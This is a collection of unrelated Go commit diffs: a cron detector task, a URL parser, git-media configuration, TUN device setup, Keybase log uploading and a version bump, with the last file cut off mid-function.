	Next time.Time `json:"next"`
	Prev time.Time `json:"prev"`
}

// JobStatusUpdate Update task cron job status
func (t *Task) JobStatusUpdate() string {
	if atomic.LoadUint32(&t.Job.status) > 0 {
		t.Job.Status = "RUNNING"
	} else {
		t.Job.Status = "IDLE"
	}

	entry := MainCron.Entry(t.Job.ID)
	t.Job.Prev = entry.Prev
	t.Job.Next = entry.Next

	return t.Job.Status
}

// Run auto trigger in cron
func (t *Task) Run() {
	start := time.Now()

	// If the job panics, just print a stack trace.
	// Don't let the whole process die.
	defer func() {
		if err := recover(); err != nil {
			var buf bytes.Buffer
			logger := log.New(&buf, "Runner Log: ", log.Lshortfile)
			logger.Panic(err, "\n", string(debug.Stack()))
		}
	}()

	if !selfConcurrent {
		t.Job.running.Lock()
		defer t.Job.running.Unlock()
	}

	if workPermits != nil {
		workPermits <- struct{}{}
		defer func() { <-workPermits }()
	}

	atomic.StoreUint32(&t.Job.status, 1)
	t.JobStatusUpdate()

	defer atomic.StoreUint32(&t.Job.status, 0)
	defer t.JobStatusUpdate()

	// TODO

	t.Job.Latency = time.Since(start)
}

// Start task
func (t *Task) Start() {
	entry := MainCron.Entry(t.Job.ID)
	if entry.ID == 0 && t.Interval > 0 {
		t.Job.ID = MainCron.Schedule(cron.Every(t.Interval), t)
	}
	t.Job.Next = entry.Next
	t.Job.Prev = entry.Prev
}

// Stop task
func (t *Task) Stop() {
	if t.Job.ID > 0 {
		MainCron.Remove(t.Job.ID)
		t.Job.ID = 0
	}
}
<commit_msg>Update detector task struct<commit_after>package detector

import (
	"bytes"
	"runtime/debug"
	"sync"
	"sync/atomic"
	"time"

	"qiniupkg.com/x/log.v7"

	"gopkg.in/mgo.v2/bson"
	"gopkg.in/robfig/cron.v2"
)

// TaskArgs is a task query struct
type TaskArgs struct {
	ID       string        `json:"id,omitempty"`
	Name     string        `json:"name,omitempty"`
	URL      string        `json:"url,omitempty"`
	Protocol string        `json:"protocol,omitempty"`
	Interval time.Duration `json:"interval,omitempty"`
	Creator  string        `json:"creator,omitempty"`
}

// Task Cron
type Task struct {
	// Task options
	ID          bson.ObjectId `bson:"_id,omitempty"         json:"id"`
	Name        string        `bson:"name,omitempty"        json:"name"`
	Description string        `bson:"description,omitempty" json:"description"`
	Creator     string        `bson:"creator,omitempty"     json:"creator"`
	CreatedAt   time.Time     `bson:"created_at"            json:"created_at"`
	UpdatedAt   time.Time     `bson:"updated_at"            json:"updated_at"`
	Interval    time.Duration `bson:"interval,omitempty"    json:"interval"`
	Enabled     bool          `bson:"enabled,omitempty"     json:"enabled"`
	Status      string        `bson:"status,omitempty"      json:"status"`

	// HTTP Request args
	URL         string            `bson:"url,omitempty"          json:"url"`
	Protocol    string            `bson:"protocol,omitempty"     json:"protocol"`
	Method      string            `bson:"method,omitempty"       json:"method"`
	ContentType string            `bson:"content_type,omitempty" json:"content_type"`
	UserAgent   string            `bson:"user_agent,omitempty"   json:"user_agent"`
	Username    string            `bson:"username,omitempty"     json:"username"`
	Password    string            `bson:"password,omitempty"     json:"password"`
	Body        string            `bson:"body,omitempty"         json:"body"`
	BodyForm    map[string]string `bson:"body_form,omitempty"    json:"body_form"`

	// Last HTTP Response results
	Response TaskResponse `json:"response"`

	// Job Info
	Job Job `json:"job"`
}

// TaskResponse the task result
type TaskResponse struct {
	StatusCode  int           `bson:"status_code"  json:"status_code"`
	TimeLatency time.Duration `bson:"time_latency" json:"time_latency"`
	Message     string        `bson:"message"      json:"message"`
}

// Job cron exec
type Job struct {
	ID      cron.EntryID `json:"id"`
	status  uint32
	Status  string        `json:"status"`
	Latency time.Duration `json:"latency"`
	running sync.Mutex

	Next time.Time `json:"next"`
	Prev time.Time `json:"prev"`
}

// JobStatusUpdate Update task cron job status
func (t *Task) JobStatusUpdate() string {
	if atomic.LoadUint32(&t.Job.status) > 0 {
		t.Job.Status = "RUNNING"
	} else {
		t.Job.Status = "IDLE"
	}

	entry := MainCron.Entry(t.Job.ID)
	t.Job.Prev = entry.Prev
	t.Job.Next = entry.Next

	return t.Job.Status
}

// Run auto trigger in cron
func (t *Task) Run() {
	start := time.Now()

	// If the job panics, just print a stack trace.
	// Don't let the whole process die.
	defer func() {
		if err := recover(); err != nil {
			var buf bytes.Buffer
			logger := log.New(&buf, "Runner Log: ", log.Lshortfile)
			logger.Panic(err, "\n", string(debug.Stack()))
		}
	}()

	if !selfConcurrent {
		t.Job.running.Lock()
		defer t.Job.running.Unlock()
	}

	if workPermits != nil {
		workPermits <- struct{}{}
		defer func() { <-workPermits }()
	}

	atomic.StoreUint32(&t.Job.status, 1)
	t.JobStatusUpdate()

	defer atomic.StoreUint32(&t.Job.status, 0)
	defer t.JobStatusUpdate()

	// TODO

	t.Job.Latency = time.Since(start)
}

// Start task
func (t *Task) Start() {
	entry := MainCron.Entry(t.Job.ID)
	if entry.ID == 0 && t.Interval > 0 {
		t.Job.ID = MainCron.Schedule(cron.Every(t.Interval), t)
	}
	t.Job.Next = entry.Next
	t.Job.Prev = entry.Prev
}

// Stop task
func (t *Task) Stop() {
	if t.Job.ID > 0 {
		MainCron.Remove(t.Job.ID)
		t.Job.ID = 0
	}
}
<|endoftext|>


<commit_before>package earl

import (
  "fmt"
  "regexp"
  "strings"
  "net/url"
)

type Url struct {
  Input string

  Scheme string
  Opaque string
  Query string
  Fragment string

  // Elements of Opaque
  Authority string
  Path string

  // Elements of Authority
  UserInfo string
  Host string
  Port string
}

type ParseOpts struct {
  DefaultScheme string
}

// RFC3986: https://www.ietf.org/rfc/rfc3986.txt
// URI scheme registry: http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml
// TODO: Normalize method; See RFC3986 section 6.2.2 for normalization ref

func namedMatches(matches []string, r *regexp.Regexp) map[string]string {
  result := make(map[string]string)
  for i, name := range r.SubexpNames() {
    if name == "" {
      continue
    }
    if i >= len(matches) {
      result[name] = ""
    } else {
      result[name] = matches[i]
    }
  }
  return result
}

func splitAuthorityFromPath(opaque string) (string, string) {
  r := regexp.MustCompile("((//)?(?P<authority>[^/]+))?(?P<path>/.*)?")
  matches := namedMatches(r.FindStringSubmatch(opaque), r)
  return matches["authority"], matches["path"]
}

func splitUserinfoHostPortFromAuthority(authority string) (string, string, string) {
  userinfo := ""
  if delimPos := strings.LastIndex(authority, "@"); delimPos != -1 {
    userinfo = authority[0:delimPos]
    authority = authority[delimPos+1:]
  }

  parts := []string{
    "(", "(\\[(?P<host6>[^\\]]+)\\])", "|", "(?P<host>[^:]+)", ")?", // host6 | host
    "(:(?P<port>[0-9]+))?",
  }

  r := regexp.MustCompile(strings.Join(parts, ""))
  matches := namedMatches(r.FindStringSubmatch(authority), r)
  if matches["host"] == "" {
    matches["host"] = matches["host6"]
  }

  return userinfo, matches["host"], matches["port"]
}

func Split(url string) (string, string, string, string) {
  parts := []string{
    "^((?P<scheme>[^:\\.]+):)?", // scheme is required by RFC3986 (S3) but we are intentionally allowing it to be omitted for convenience
    "(?P<opaque>(//)?[^?#]+)", // hier-part
    "(\\?(?P<query>[^#]+))?", // query
    "(#(?P<fragment>.*))?", // fragment
  }

  r := regexp.MustCompile(strings.Join(parts, ""))
  matches := namedMatches(r.FindStringSubmatch(url), r)

  return matches["scheme"], matches["opaque"], matches["query"], matches["fragment"]
}

func Parse(url string) *Url {
  result := &Url{}
  result.Input = url
  result.Scheme, result.Opaque, result.Query, result.Fragment = Split(url)
  result.Authority, result.Path = splitAuthorityFromPath(result.Opaque)
  result.UserInfo, result.Host, result.Port = splitUserinfoHostPortFromAuthority(result.Authority)
  return result
}

func ParseWithOpts(url string, opts *ParseOpts) {

}

func (u *Url) ToNetUrl() *url.URL {
  // FIXME users of net/url may expect most of these to be decoded
  host := ""
  if u.Host != "" {
    host = u.Host

    if u.Port != "" {
      host = fmt.Sprintf("%s:%s", host, u.Port)
    }
  }

  ret := &url.URL{
    Scheme: u.Scheme,
    //User: TODO
    Host: host,
    Path: u.Path,
    RawPath: u.Path,
    RawQuery: u.Query,
    Fragment: u.Fragment,
  }

  if u.Authority == "" {
    ret.Opaque = u.Opaque
  }

  return ret
}

func (u *Url) Normalize() *Url {
  result := &Url{}
  result.Scheme = strings.ToLower(u.Scheme)
  result.Host = strings.ToLower(u.Host)
  return result
}
<commit_msg>gofmt / vet fixes<commit_after>package earl

import (
	"fmt"
	"net/url"
	"regexp"
	"strings"
)

// URL represents state for a parsed URL
type URL struct {
	Input string

	Scheme   string
	Opaque   string
	Query    string
	Fragment string

	// Elements of Opaque
	Authority string
	Path      string

	// Elements of Authority
	UserInfo string
	Host     string
	Port     string
}

// RFC3986: https://www.ietf.org/rfc/rfc3986.txt
// URI scheme registry: http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml
// TODO: Normalize method; See RFC3986 section 6.2.2 for normalization ref

func namedMatches(matches []string, r *regexp.Regexp) map[string]string {
	result := make(map[string]string)
	for i, name := range r.SubexpNames() {
		if name == "" {
			continue
		}
		if i >= len(matches) {
			result[name] = ""
		} else {
			result[name] = matches[i]
		}
	}
	return result
}

func splitAuthorityFromPath(opaque string) (string, string) {
	r := regexp.MustCompile("((//)?(?P<authority>[^/]+))?(?P<path>/.*)?")
	matches := namedMatches(r.FindStringSubmatch(opaque), r)
	return matches["authority"], matches["path"]
}

func splitUserinfoHostPortFromAuthority(authority string) (string, string, string) {
	userinfo := ""
	if delimPos := strings.LastIndex(authority, "@"); delimPos != -1 {
		userinfo = authority[0:delimPos]
		authority = authority[delimPos+1:]
	}

	parts := []string{
		"(", "(\\[(?P<host6>[^\\]]+)\\])", "|", "(?P<host>[^:]+)", ")?", // host6 | host
		"(:(?P<port>[0-9]+))?",
	}

	r := regexp.MustCompile(strings.Join(parts, ""))
	matches := namedMatches(r.FindStringSubmatch(authority), r)
	if matches["host"] == "" {
		matches["host"] = matches["host6"]
	}

	return userinfo, matches["host"], matches["port"]
}

// Split splits an URL in to its major components (scheme, opaque, query, fragment)
func Split(url string) (string, string, string, string) {
	parts := []string{
		"^((?P<scheme>[^:\\.]+):)?", // scheme is required by RFC3986 (S3) but we are intentionally allowing it to be omitted for convenience
		"(?P<opaque>(//)?[^?#]+)",   // hier-part
		"(\\?(?P<query>[^#]+))?",    // query
		"(#(?P<fragment>.*))?",      // fragment
	}

	r := regexp.MustCompile(strings.Join(parts, ""))
	matches := namedMatches(r.FindStringSubmatch(url), r)

	return matches["scheme"], matches["opaque"], matches["query"], matches["fragment"]
}

// Parse splits an URL in to as many parts as it can
func Parse(url string) *URL {
	result := &URL{}
	result.Input = url
	result.Scheme, result.Opaque, result.Query, result.Fragment = Split(url)
	result.Authority, result.Path = splitAuthorityFromPath(result.Opaque)
	result.UserInfo, result.Host, result.Port = splitUserinfoHostPortFromAuthority(result.Authority)
	return result
}

// ToNetURL converts an earl.URL in to a net/url.URL
func (u *URL) ToNetURL() *url.URL {
	// FIXME users of net/url may expect most of these to be decoded
	host := ""
	if u.Host != "" {
		host = u.Host

		if u.Port != "" {
			host = fmt.Sprintf("%s:%s", host, u.Port)
		}
	}

	ret := &url.URL{
		Scheme: u.Scheme,
		//User: TODO
		Host:     host,
		Path:     u.Path,
		RawPath:  u.Path,
		RawQuery: u.Query,
		Fragment: u.Fragment,
	}

	if u.Authority == "" {
		ret.Opaque = u.Opaque
	}

	return ret
}

// Normalize is intended to produce an expanded and valid URL representation
// It is presently incomplete (also read not even started).
func (u *URL) Normalize() *URL {
	result := &URL{}
	result.Scheme = strings.ToLower(u.Scheme)
	result.Host = strings.ToLower(u.Host)
	return result
}
<|endoftext|>


<commit_before>package gitmedia

import (
	"fmt"
	"io/ioutil"
	"os"
	"path/filepath"
	"runtime"
	"strings"
)

const Version = "0.2.1"

var (
	LargeSizeThreshold = 5 * 1024 * 1024
	TempDir            = filepath.Join(os.TempDir(), "git-media")
	UserAgent          string
	LocalWorkingDir    string
	LocalGitDir        string
	LocalMediaDir      string
	LocalLogDir        string
	checkedTempDir     string
)

func TempFile(prefix string) (*os.File, error) {
	if checkedTempDir != TempDir {
		if err := os.MkdirAll(TempDir, 0774); err != nil {
			return nil, err
		}
		checkedTempDir = TempDir
	}

	return ioutil.TempFile(TempDir, prefix)
}

func ResetTempDir() error {
	checkedTempDir = ""
	return os.RemoveAll(TempDir)
}

func LocalMediaPath(sha string) (string, error) {
	path := filepath.Join(LocalMediaDir, sha[0:2], sha[2:4])
	if err := os.MkdirAll(path, 0744); err != nil {
		return "", fmt.Errorf("Error trying to create local media directory in '%s': %s", path, err)
	}

	return filepath.Join(path, sha), nil
}

func Environ() []string {
	osEnviron := os.Environ()
	env := make([]string, 4, len(osEnviron)+4)
	env[0] = fmt.Sprintf("LocalWorkingDir=%s", LocalWorkingDir)
	env[1] = fmt.Sprintf("LocalGitDir=%s", LocalGitDir)
	env[2] = fmt.Sprintf("LocalMediaDir=%s", LocalMediaDir)
	env[3] = fmt.Sprintf("TempDir=%s", TempDir)

	for _, e := range osEnviron {
		if !strings.Contains(e, "GIT_") {
			continue
		}
		env = append(env, e)
	}

	return env
}

func InRepo() bool {
	return LocalWorkingDir != ""
}

func init() {
	var err error
	LocalWorkingDir, LocalGitDir, err = resolveGitDir()
	if err == nil {
		LocalMediaDir = filepath.Join(LocalGitDir, "media")
		LocalLogDir = filepath.Join(LocalMediaDir, "logs")
		TempDir = filepath.Join(LocalMediaDir, "tmp")
		queueDir = setupQueueDir()

		if err := os.MkdirAll(TempDir, 0744); err != nil {
			panic(fmt.Errorf("Error trying to create temp directory in '%s': %s", TempDir, err))
		}
	}

	UserAgent = fmt.Sprintf("git media v%s (go v%s)", Version,
		strings.Replace(runtime.Version(), "go", "", 1))
}

func resolveGitDir() (string, string, error) {
	wd, err := os.Getwd()
	if err != nil {
		return "", "", err
	}

	return recursiveResolveGitDir(wd)
}

func recursiveResolveGitDir(dir string) (string, string, error) {
	var cleanDir = filepath.Clean(dir)
	if cleanDir[len(cleanDir)-1] == os.PathSeparator {
		return "", "", fmt.Errorf("Git repository not found")
	}

	if filepath.Base(dir) == gitExt {
		return filepath.Dir(dir), dir, nil
	}

	gitDir := filepath.Join(dir, gitExt)
	if info, err := os.Stat(gitDir); err == nil {
		if info.IsDir() {
			return dir, gitDir, nil
		} else {
			return processDotGitFile(gitDir)
		}
	}

	return recursiveResolveGitDir(filepath.Dir(dir))
}

func processDotGitFile(file string) (string, string, error) {
	f, err := os.Open(file)
	defer f.Close()

	if err != nil {
		return "", "", err
	}

	data := make([]byte, 512)
	n, err := f.Read(data)
	if err != nil {
		return "", "", err
	}

	contents := string(data[0:n])
	wd, _ := os.Getwd()
	if strings.HasPrefix(contents, gitPtrPrefix) {
		dir := strings.TrimSpace(strings.Split(contents, gitPtrPrefix)[1])
		absDir, _ := filepath.Abs(dir)
		return wd, absDir, nil
	}

	return wd, "", nil
}

const (
	gitExt       = ".git"
	gitPtrPrefix = "gitdir: "
)
<commit_msg>アアー アアアア アーアア<commit_after>package gitmedia

import (
	"fmt"
	"io/ioutil"
	"os"
	"path/filepath"
	"runtime"
	"strings"
)

const Version = "0.2.2"

var (
	LargeSizeThreshold = 5 * 1024 * 1024
	TempDir            = filepath.Join(os.TempDir(), "git-media")
	UserAgent          string
	LocalWorkingDir    string
	LocalGitDir        string
	LocalMediaDir      string
	LocalLogDir        string
	checkedTempDir     string
)

func TempFile(prefix string) (*os.File, error) {
	if checkedTempDir != TempDir {
		if err := os.MkdirAll(TempDir, 0774); err != nil {
			return nil, err
		}
		checkedTempDir = TempDir
	}

	return ioutil.TempFile(TempDir, prefix)
}

func ResetTempDir() error {
	checkedTempDir = ""
	return os.RemoveAll(TempDir)
}

func LocalMediaPath(sha string) (string, error) {
	path := filepath.Join(LocalMediaDir, sha[0:2], sha[2:4])
	if err := os.MkdirAll(path, 0744); err != nil {
		return "", fmt.Errorf("Error trying to create local media directory in '%s': %s", path, err)
	}

	return filepath.Join(path, sha), nil
}

func Environ() []string {
	osEnviron := os.Environ()
	env := make([]string, 4, len(osEnviron)+4)
	env[0] = fmt.Sprintf("LocalWorkingDir=%s", LocalWorkingDir)
	env[1] = fmt.Sprintf("LocalGitDir=%s", LocalGitDir)
	env[2] = fmt.Sprintf("LocalMediaDir=%s", LocalMediaDir)
	env[3] = fmt.Sprintf("TempDir=%s", TempDir)

	for _, e := range osEnviron {
		if !strings.Contains(e, "GIT_") {
			continue
		}
		env = append(env, e)
	}

	return env
}

func InRepo() bool {
	return LocalWorkingDir != ""
}

func init() {
	var err error
	LocalWorkingDir, LocalGitDir, err = resolveGitDir()
	if err == nil {
		LocalMediaDir = filepath.Join(LocalGitDir, "media")
		LocalLogDir = filepath.Join(LocalMediaDir, "logs")
		TempDir = filepath.Join(LocalMediaDir, "tmp")
		queueDir = setupQueueDir()

		if err := os.MkdirAll(TempDir, 0744); err != nil {
			panic(fmt.Errorf("Error trying to create temp directory in '%s': %s", TempDir, err))
		}
	}

	UserAgent = fmt.Sprintf("git media v%s (go v%s)", Version,
		strings.Replace(runtime.Version(), "go", "", 1))
}

func resolveGitDir() (string, string, error) {
	wd, err := os.Getwd()
	if err != nil {
		return "", "", err
	}

	return recursiveResolveGitDir(wd)
}

func recursiveResolveGitDir(dir string) (string, string, error) {
	var cleanDir = filepath.Clean(dir)
	if cleanDir[len(cleanDir)-1] == os.PathSeparator {
		return "", "", fmt.Errorf("Git repository not found")
	}

	if filepath.Base(dir) == gitExt {
		return filepath.Dir(dir), dir, nil
	}

	gitDir := filepath.Join(dir, gitExt)
	if info, err := os.Stat(gitDir); err == nil {
		if info.IsDir() {
			return dir, gitDir, nil
		} else {
			return processDotGitFile(gitDir)
		}
	}

	return recursiveResolveGitDir(filepath.Dir(dir))
}

func processDotGitFile(file string) (string, string, error) {
	f, err := os.Open(file)
	defer f.Close()

	if err != nil {
		return "", "", err
	}

	data := make([]byte, 512)
	n, err := f.Read(data)
	if err != nil {
		return "", "", err
	}

	contents := string(data[0:n])
	wd, _ := os.Getwd()
	if strings.HasPrefix(contents, gitPtrPrefix) {
		dir := strings.TrimSpace(strings.Split(contents, gitPtrPrefix)[1])
		absDir, _ := filepath.Abs(dir)
		return wd, absDir, nil
	}

	return wd, "", nil
}

const (
	gitExt       = ".git"
	gitPtrPrefix = "gitdir: "
)
<|endoftext|>


<commit_before>package device

import (
	"github.com/Supernomad/quantum/common"
	"github.com/vishvananda/netlink"
	"net"
)

const (
	// TUNDevice interface type
	TUNDevice int = 0
	// TAPDevice interface type
	TAPDevice int = 1
	// MOCKDevice interface type
	MOCKDevice int = 2

	ifNameSize    = 16
	iffTun        = 0x0001
	iffTap        = 0x0002
	iffNoPi       = 0x1000
	iffMultiQueue = 0x0100
)

type ifReq struct {
	Name  [ifNameSize]byte
	Flags uint16
}

// Device is a generic multi-queue network device
type Device interface {
	Name() string
	Read(buf []byte, queue int) (*common.Payload, bool)
	Write(payload *common.Payload, queue int) bool
	Open() error
	Close() error
	Queues() []int
}

// New Device object
func New(kind int, cfg *common.Config) Device {
	switch kind {
	case TUNDevice:
		return newTUN(cfg)
	}
	return nil
}

func initDevice(name, src string, networkCfg *common.NetworkConfig) error {
	link, err := netlink.LinkByName(name)
	if err != nil {
		return err
	}
	err = netlink.LinkSetUp(link)
	if err != nil {
		return err
	}
	err = netlink.LinkSetMTU(link, common.MTU)
	if err != nil {
		return err
	}
	addr, err := netlink.ParseAddr(src + "/32")
	if err != nil {
		return err
	}
	err = netlink.AddrAdd(link, addr)
	if err != nil {
		return err
	}
	route := &netlink.Route{
		LinkIndex: link.Attrs().Index,
		Scope:     netlink.SCOPE_LINK,
		Protocol:  2,
		Src:       net.ParseIP(src),
		Dst:       networkCfg.IPNet,
	}
	return netlink.RouteAdd(route)
}
<commit_msg>Cleaned up some comments<commit_after>package device

import (
	"github.com/Supernomad/quantum/common"
	"github.com/vishvananda/netlink"
	"net"
)

const (
	// TUNDevice type
	TUNDevice int = 0
	// TAPDevice type
	TAPDevice int = 1
	// MOCKDevice type
	MOCKDevice int = 2

	ifNameSize    = 16
	iffTun        = 0x0001
	iffTap        = 0x0002
	iffNoPi       = 0x1000
	iffMultiQueue = 0x0100
)

type ifReq struct {
	Name  [ifNameSize]byte
	Flags uint16
}

// Device is a generic multi-queue network device
type Device interface {
	Name() string
	Read(buf []byte, queue int) (*common.Payload, bool)
	Write(payload *common.Payload, queue int) bool
	Open() error
	Close() error
	Queues() []int
}

// New Device object
func New(kind int, cfg *common.Config) Device {
	switch kind {
	case TUNDevice:
		return newTUN(cfg)
	}
	return nil
}

func initDevice(name, src string, networkCfg *common.NetworkConfig) error {
	link, err := netlink.LinkByName(name)
	if err != nil {
		return err
	}
	err = netlink.LinkSetUp(link)
	if err != nil {
		return err
	}
	err = netlink.LinkSetMTU(link, common.MTU)
	if err != nil {
		return err
	}
	addr, err := netlink.ParseAddr(src + "/32")
	if err != nil {
		return err
	}
	err = netlink.AddrAdd(link, addr)
	if err != nil {
		return err
	}
	route := &netlink.Route{
		LinkIndex: link.Attrs().Index,
		Scope:     netlink.SCOPE_LINK,
		Protocol:  2,
		Src:       net.ParseIP(src),
		Dst:       networkCfg.IPNet,
	}
	return netlink.RouteAdd(route)
}
<|endoftext|>


<commit_before>// Copyright 2015 Keybase, Inc. All rights reserved. Use of
// this source code is governed by the included BSD license.

package libkb

import (
	"bufio"
	"bytes"
	"compress/gzip"
	"mime/multipart"
	"os"
	"strings"

	"github.com/keybase/client/go/logger"
	rogReverse "github.com/rogpeppe/rog-go/reverse"
)

// Logs is the struct to specify the path of log files
type Logs struct {
	Desktop string
	Kbfs    string
	Service string
	Updater string
	Start   string
	Install string
}

// LogSendContext for LogSend
type LogSendContext struct {
	Contextified
	Logs Logs
}

func addFile(mpart *multipart.Writer, param, filename, data string) error {
	if len(data) == 0 {
		return nil
	}

	part, err := mpart.CreateFormFile(param, filename)
	if err != nil {
		return err
	}
	gz := gzip.NewWriter(part)
	if _, err := gz.Write([]byte(data)); err != nil {
		return err
	}
	if err := gz.Close(); err != nil {
		return err
	}

	return nil
}

func (l *LogSendContext) post(status, kbfsLog, svcLog, desktopLog, updaterLog, startLog, installLog string) (string, error) {
	l.G().Log.Debug("sending status + logs to keybase")

	var body bytes.Buffer
	mpart := multipart.NewWriter(&body)

	if err := addFile(mpart, "status_gz", "status.gz", status); err != nil {
		return "", err
	}
	if err := addFile(mpart, "kbfs_log_gz", "kbfs_log.gz", kbfsLog); err != nil {
		return "", err
	}
	if err := addFile(mpart, "keybase_log_gz", "keybase_log.gz", svcLog); err != nil {
		return "", err
	}
	if err := addFile(mpart, "updater_log_gz", "updater_log.gz", updaterLog); err != nil {
		return "", err
	}
	if err := addFile(mpart, "gui_log_gz", "gui_log.gz", desktopLog); err != nil {
		return "", err
	}
	if err := addFile(mpart, "start_log_gz", "start_log.gz", startLog); err != nil {
		return "", err
	}
	if err := addFile(mpart, "install_log_gz", "install_log.gz", installLog); err != nil {
		return "", err
	}

	if err := mpart.Close(); err != nil {
		return "", err
	}

	l.G().Log.Debug("body size: %d\n", body.Len())

	arg := APIArg{
		Endpoint: "logdump/send",
	}

	resp, err := l.G().API.PostRaw(arg, mpart.FormDataContentType(), &body)
	if err != nil {
		l.G().Log.Debug("post error: %s", err)
		return "", err
	}

	id, err := resp.Body.AtKey("logdump_id").GetString()
	if err != nil {
		return "", err
	}

	return id, nil
}

func tail(Log logger.Logger, filename string, numLines int) string {
	if filename == "" {
		return ""
	}

	f, err := os.Open(filename)
	if err != nil {
		Log.Warning("error opening log %q: %s", filename, err)
		return ""
	}
	b := rogReverse.NewScanner(f)
	b.Split(bufio.ScanLines)

	var lines []string
	for b.Scan() {
		lines = append(lines, b.Text())
		if len(lines) == numLines {
			break
		}
	}

	for left, right := 0, len(lines)-1; left < right; left, right = left+1, right-1 {
		lines[left], lines[right] = lines[right], lines[left]
	}

	return strings.Join(lines, "\n")
}

// LogSend sends the the tails of log files to kb
func (l *LogSendContext) LogSend(statusJSON string, numLines int) (string, error) {
	logs := l.Logs

	l.G().Log.Debug("tailing kbfs log %q", logs.Kbfs)
	kbfsLog := tail(l.G().Log, logs.Kbfs, numLines)

	l.G().Log.Debug("tailing service log %q", logs.Service)
	svcLog := tail(l.G().Log, logs.Service, numLines)

	l.G().Log.Debug("tailing desktop log %q", logs.Desktop)
	desktopLog := tail(l.G().Log, logs.Desktop, numLines)

	l.G().Log.Debug("tailing updater log %q", logs.Updater)
	updaterLog := tail(l.G().Log, logs.Updater, numLines)

	l.G().Log.Debug("tailing start log %q", logs.Start)
	startLog := tail(l.G().Log, logs.Start, numLines)

	l.G().Log.Debug("tailing install log %q", logs.Install)
	installLog := tail(l.G().Log, logs.Install, numLines)

	return l.post(statusJSON, kbfsLog, svcLog, desktopLog, updaterLog, startLog, installLog)
}
<commit_msg>log send: Omit start log on Windows (#4215)<commit_after>// Copyright 2015 Keybase, Inc. All rights reserved. Use of
// this source code is governed by the included BSD license.

package libkb

import (
	"bufio"
	"bytes"
	"compress/gzip"
	"mime/multipart"
	"os"
	"runtime"
	"strings"

	"github.com/keybase/client/go/logger"
	rogReverse "github.com/rogpeppe/rog-go/reverse"
)

// Logs is the struct to specify the path of log files
type Logs struct {
	Desktop string
	Kbfs    string
	Service string
	Updater string
	Start   string
	Install string
}

// LogSendContext for LogSend
type LogSendContext struct {
	Contextified
	Logs Logs
}

func addFile(mpart *multipart.Writer, param, filename, data string) error {
	if len(data) == 0 {
		return nil
	}

	part, err := mpart.CreateFormFile(param, filename)
	if err != nil {
		return err
	}
	gz := gzip.NewWriter(part)
	if _, err := gz.Write([]byte(data)); err != nil {
		return err
	}
	if err := gz.Close(); err != nil {
		return err
	}

	return nil
}

func (l *LogSendContext) post(status, kbfsLog, svcLog, desktopLog, updaterLog, startLog, installLog string) (string, error) {
	l.G().Log.Debug("sending status + logs to keybase")

	var body bytes.Buffer
	mpart := multipart.NewWriter(&body)

	if err := addFile(mpart, "status_gz", "status.gz", status); err != nil {
		return "", err
	}
	if err := addFile(mpart, "kbfs_log_gz", "kbfs_log.gz", kbfsLog); err != nil {
		return "", err
	}
	if err := addFile(mpart, "keybase_log_gz", "keybase_log.gz", svcLog); err != nil {
		return "", err
	}
	if err := addFile(mpart, "updater_log_gz", "updater_log.gz", updaterLog); err != nil {
		return "", err
	}
	if err := addFile(mpart, "gui_log_gz", "gui_log.gz", desktopLog); err != nil {
		return "", err
	}
	if err := addFile(mpart, "start_log_gz", "start_log.gz", startLog); err != nil {
		return "", err
	}
	if err := addFile(mpart, "install_log_gz", "install_log.gz", installLog); err != nil {
		return "", err
	}

	if err := mpart.Close(); err != nil {
		return "", err
	}

	l.G().Log.Debug("body size: %d\n", body.Len())

	arg := APIArg{
		Endpoint: "logdump/send",
	}

	resp, err := l.G().API.PostRaw(arg, mpart.FormDataContentType(), &body)
	if err != nil {
		l.G().Log.Debug("post error: %s", err)
		return "", err
	}

	id, err := resp.Body.AtKey("logdump_id").GetString()
	if err != nil {
		return "", err
	}

	return id, nil
}

func tail(Log logger.Logger, filename string, numLines int) string {
	if filename == "" {
		return ""
	}

	f, err := os.Open(filename)
	if err != nil {
		// This "error" freaks out users on Windows, which has no start log
		if !(runtime.GOOS == "windows" && strings.HasSuffix(filename, StartLogFileName)) {
			Log.Warning("error opening log %q: %s", filename, err)
		}
		return ""
	}
	b := rogReverse.NewScanner(f)
	b.Split(bufio.ScanLines)

	var lines []string
	for b.Scan() {
		lines = append(lines, b.Text())
		if len(lines) == numLines {
			break
		}
	}

	for left, right := 0, len(lines)-1; left < right; left, right = left+1, right-1 {
		lines[left], lines[right] = lines[right], lines[left]
	}

	return strings.Join(lines, "\n")
}

// LogSend sends the the tails of log files to kb
func (l *LogSendContext) LogSend(statusJSON string, numLines int) (string, error) {
	logs := l.Logs

	l.G().Log.Debug("tailing kbfs log %q", logs.Kbfs)
	kbfsLog := tail(l.G().Log, logs.Kbfs, numLines)

	l.G().Log.Debug("tailing service log %q", logs.Service)
	svcLog := tail(l.G().Log, logs.Service, numLines)

	l.G().Log.Debug("tailing desktop log %q", logs.Desktop)
	desktopLog := tail(l.G().Log, logs.Desktop, numLines)

	l.G().Log.Debug("tailing updater log %q", logs.Updater)
	updaterLog := tail(l.G().Log, logs.Updater, numLines)

	l.G().Log.Debug("tailing start log %q", logs.Start)
	startLog := tail(l.G().Log, logs.Start, numLines)

	l.G().Log.Debug("tailing install log %q", logs.Install)
	installLog := tail(l.G().Log, logs.Install, numLines)

	return l.post(statusJSON, kbfsLog, svcLog, desktopLog, updaterLog, startLog, installLog)
}
<|endoftext|>


<commit_before>package util

const (
	VERSION = "0.69 beta"
)
<commit_msg>a 0.69 beta release<commit_after>package util

const (
	VERSION = "0.69 beta20150226"
)
<|endoftext|>


<commit_before>package main

import (
	"context"
	"fmt"
	"os/exec"
	"strings"
	"time"

	"github.com/brotherlogic/goserver/utils"
	"github.com/prometheus/client_golang/prometheus"
	"github.com/prometheus/client_golang/prometheus/promauto"
	"google.golang.org/grpc/codes"
	"google.golang.org/grpc/status"

	pbb "github.com/brotherlogic/buildserver/proto"
	pbfc "github.com/brotherlogic/filecopier/proto"
	pb "github.com/brotherlogic/gobuildslave/proto"
	pbvt "github.com/brotherlogic/versiontracker/proto"
)

const (
	pendWait = time.Minute
)

var (
	ackQueueLen = promauto.NewGauge(prometheus.GaugeOpts{
		Name: "gobuildslave_ackqueuelen",
		Help: "The size of the ack queue",
	})
)

func (s *Server) procAcks() {
	for job := range s.ackChan {
		ackQueueLen.Set(float64(len(s.ackChan)))
		ctx, cancel := utils.ManualContext("gobuildslaveack", time.Minute)
		conn, err := s.FDialSpecificServer(ctx, "versiontracker", s.Registry.GetIdentifier())
		if err != nil {
